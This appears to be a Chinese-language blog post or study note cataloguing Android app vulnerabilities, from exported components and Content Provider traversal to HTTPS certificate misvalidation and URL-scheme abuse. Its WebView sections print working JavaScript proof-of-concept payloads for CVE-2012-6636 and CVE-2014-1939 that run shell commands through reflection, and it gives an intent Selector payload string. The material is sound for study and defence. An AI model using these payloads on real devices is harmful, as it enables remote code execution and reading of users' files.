组件安全
(1) 如果四大组件包含 intent-filter,那么系统认为这个组件可以被外部通过隐式调用,所以默认 export 为 true
(2) 如果四大组件不包含 intent-filter,那么系统认为这个组件值只可以被内部通过显式调用,所以默认 export 为 false
Activity
权限
Android 所有组件声明时可以通过指定 android:exported 属性值为 false,来设置组件不能被外部程序调用
如果希望 Activity 能够被特定的程序访问,可以使用 android:permission 属性来指定一个权限字符串,如:
<Activity android:name=".MyActivity"
android:permission="com.test.permission.MyActivity">
<intent-filter>
<action android:name="com.test.action"></action>
</intent-filter>
</Activity>
Broadcast
假如使用 sendBroadcast() 发送广播,攻击者可以优先响应该实例发送的广播;假如使用 sendOrderedBroadcast() 发送,攻击者可以使用 abortBroadcast() 终止广播,BroadcastReceiver 实例可能永远无法收到自己发送的广播。
关于优先级:动态注册的广播接收者比静态广播接收者的优先级高,静态广播接收者的优先级根据设置的 android:priority 属性的数值来决定,数值越大,优先级越高。
Service
同 Activity,设置权限防止被其它 app 启动/绑定/停止服务
Content Provider
权限
API Level 低于 17 时,Content Provider 默认为公开
SQL 注入
传递给 Content Provider 的参数应该被视为不可信的
目录遍历
Android Content Provider 存在文件目录遍历安全漏洞,该漏洞源于对外暴露 Content Provider 组件的应用,没有对 Content Provider 组件的访问进行权限控制和对访问的目标文件的 Content Query Uri 进行有效判断,攻击者利用该应用暴露的 Content Provider 的 openFile() 接口进行文件目录遍历以达到访问任意可读文件的目的
参考链接:
http://blog.csdn.net/u013309870/article/details/69228125
http://blog.csdn.net/jltxgcy/article/details/48312359
https://jaq.alibaba.com/blog.htm?id=61
Webview 远程代码执行
CVE-2012-6636
Android API level 16 以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用 WebView.addJavascriptInterface 方法,远程攻击者可通过使用Java Reflection API 利用该漏洞执行任意 Java 对象的方法
影响范围
系统版本低于 4.2 / API Level < 17
利用条件
-
使用 addJavascriptInterface 方法注册可供 JavaScript 调用的 Java 对象
-
使用 WebView 加载外部网页或者本地网页
-
系统版本低于 4.2
POC
利用 addJavascriptInterface 方法注册可供JavaScript调用的 java 对象 “injectedObj”,利用反射机制调用 Android API sendTextMessage 来发送短信
Java 代码:
mWebView = new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(this, "injectedObj");
mWebView.loadUrl("file:///android_asset/www/index.html");
JS 代码
<html>
<body>
<script>
function getContents(inputStream)
{
var i = 0;
var contents = "";
var b = inputStream.read();
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs)
{
return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
document.write(getContents(res.getInputStream()));
</script>
</body>
</html>
CVE-2014-1939
Android 系统中 webkit 中默认内置的一个 searchBoxJavaBridge_ 接口同时存在远程代码执行漏洞
影响范围
Android 4.0~4.3
利用条件
- webkit 内核
- Android 4.0~4.3
POC
<html>
<body>
<script>
function getContents(inputStream)
{
var i = 0;
var contents = "";
var b = inputStream.read();
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs)
{
return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
document.write(getContents(res.getInputStream()));
</script>
</body>
</html>
参考链接
https://jaq.alibaba.com/blog.htm?id=48
SecureRandom 漏洞
SecureRandom 随机性是通过它的 seed 来保证的。如果输入相同的 seed 会导致生成重复的随机数。SecureRandom 内部维护一个 internal random state,它生成随机数的方式具有确定性
漏洞位置
- SecureRandom#SecureRandom(byte[] seed)
- SecureRandom#setSeed(long seed)
- SecureRandom#setSeed(byte[] seed)
触发条件
-
调用 SecureRandom 类的构造函数 SecureRandom(byte[] seed)
或者在生成随机数之前调用 setSeed(long seed)
或者 setSeed(byte[] seed) 方法设置随机种子
-
系统版本低于 4.2
参考链接
https://jaq.alibaba.com/blog.htm?id=47
AllowBackup
在谷歌 2010 年发布 Android 2.2 Froyo (冻酸奶)系统中,谷歌引入一个了系统备份的功能,允许用户备份系统应用和第三方应用的 apk 安装包和应用数据,以便在刷机或者数据丢失后恢复应用。 第三方应用开发者需要在应用的 AndroidManifest.xml 文件中配置 allowBackup 标志(默认为 true )来设置应用数据是否能能够被备份或恢复。当这个标志被设置为 true 时应用程序数据可以在手机未获取 ROOT 的情况下通过 adb 调试工具来备份和恢复,这就允许恶意攻击者在接触用户手机的情况下在短时间内启动手机 USB 调试功能来窃取那些能够受到 AllowBackup 漏洞影响的应用的数据,造成用户隐私泄露甚至财产损失。
参考链接
WebView File 域同源策略绕过
通过 WebView 对 Javascript 的延时执行和将当前 Html 文件删除掉并软连接指向其他文件就可以读取到被符号链接所指的文件,然后通过 JavaScript 再次读取 HTML 文件,即可获取到被符号链接所指的文件。
利用条件
- 组件可导出
- WebView 没有禁止使用 file 域
- WebView 打开了对 JavaScript 的支持
参考链接
https://jaq.alibaba.com/blog.htm?id=62
Android HTTPS 中间人劫持
由于客户端没有校验服务端的证书,因此攻击者就能与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。在中间人攻击中,攻击者可以拦截通讯双方的通话并插入新的内容
漏洞位置
X509TrustManager 、HostnameVerifier 、 setHostnameVerifier (X509HostnameVerifier hostnameVerifier)
触发条件
自定义的 X509TrustManager 不校验证书
或实现的自定义 HostnameVerifier 不校验域名接受任意域名
或使用 setHostnameVerifier (ALLOW_ALL_HOSTNAME_VERIFIER)
参考链接
https://jaq.alibaba.com/blog.htm?id=60
Android 应用本地拒绝服务漏洞
Android应用本地拒绝服务漏洞源于程序没有对 Intent.getXXXExtra() 获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者可通过向受害者应用发送此类空数据、异常或者畸形数据来达到使该应用 crash 的目的,简单的说就是攻击者通过 intent 发送空数据、异常或畸形数据给受害者应用,导致其崩溃。
触发条件
- 组件可导出
- getIntent() 的 intent 附带空数据、异常或畸形数据
- 处理 getXXXExtra() 获取的数据时没有进行异常捕获
参考链接
https://jaq.alibaba.com/blog.htm?id=55
URL Schema 安全
Android 中可以通过点击网页内的某个链接打开 APP,或者在其它 APP 中通过点击某个链接打开另外一个 APP
Custom Scheme URI 打开APP
APP 获取到来自网页的数据后,生成一个新的 intent,然后发送给别的组件使用这些数据。比如使用 Webview 相关的 Activity 来加载一个来自网页的 url,如果此 url 来自url scheme 中的参数,如:jaq://jaq.alibaba.com?load_url=http://www.taobao.com
如果在 APP 中没有检查获取到的 load_url 的值,攻击者就可以构造钓鱼网站,诱导用户点击
Intent-based URI 打开 APP
语法:
intent:
HOST/URI_path // Optioinal host
#Intent;
package=[string];
action=[string];
componet=[string];
scheme=[string];
end
如果未配置 intent 过滤策略,则可将 payload 作为任意的参数放入 intent 中
利用 Intent Selector
Intent Selector 机制提供一种 main intent 不匹配的情况下可以设置替补的方案
如:
intent:#Intent;S.xxx=123; SEL;component=com.android.chrome/.xyz;end
其中的 SEL 关键字就是设置了一个 component 为 com.android.chrome/.xyz 的 selector intent
参考链接:
https://jaq.alibaba.com/community/art/show?articleid=265
http://blog.csdn.net/l173864930/article/details/36951805?spm=a313e.7916648.0.0.11b0b6cXNqLdb
Shared Preferences 安全
- 使用 MODE_WORLD_READABLE 模式创建 Shared Preferences 文件,使得其他应用对该 Shared Preferences 文件具备可读的权限
- 使用 MODE_WORLD_WRITEABLE 模式创建 Shared Preferences 文件并含有 “android:sharedUserId” 属性值,使得其他应用对该应用的 Shared Preferences 文件具备可写的权限
- 在具备 root 权限的程序或用户对任何应用程序通过任意模式创建的的 Shared Preferences 文件都具有可读可写的权限
UXSS 漏洞
Android 4.4 前 webkit 存在
参考链接
https://security.tencent.com/index.php/blog/msg/70
网友评论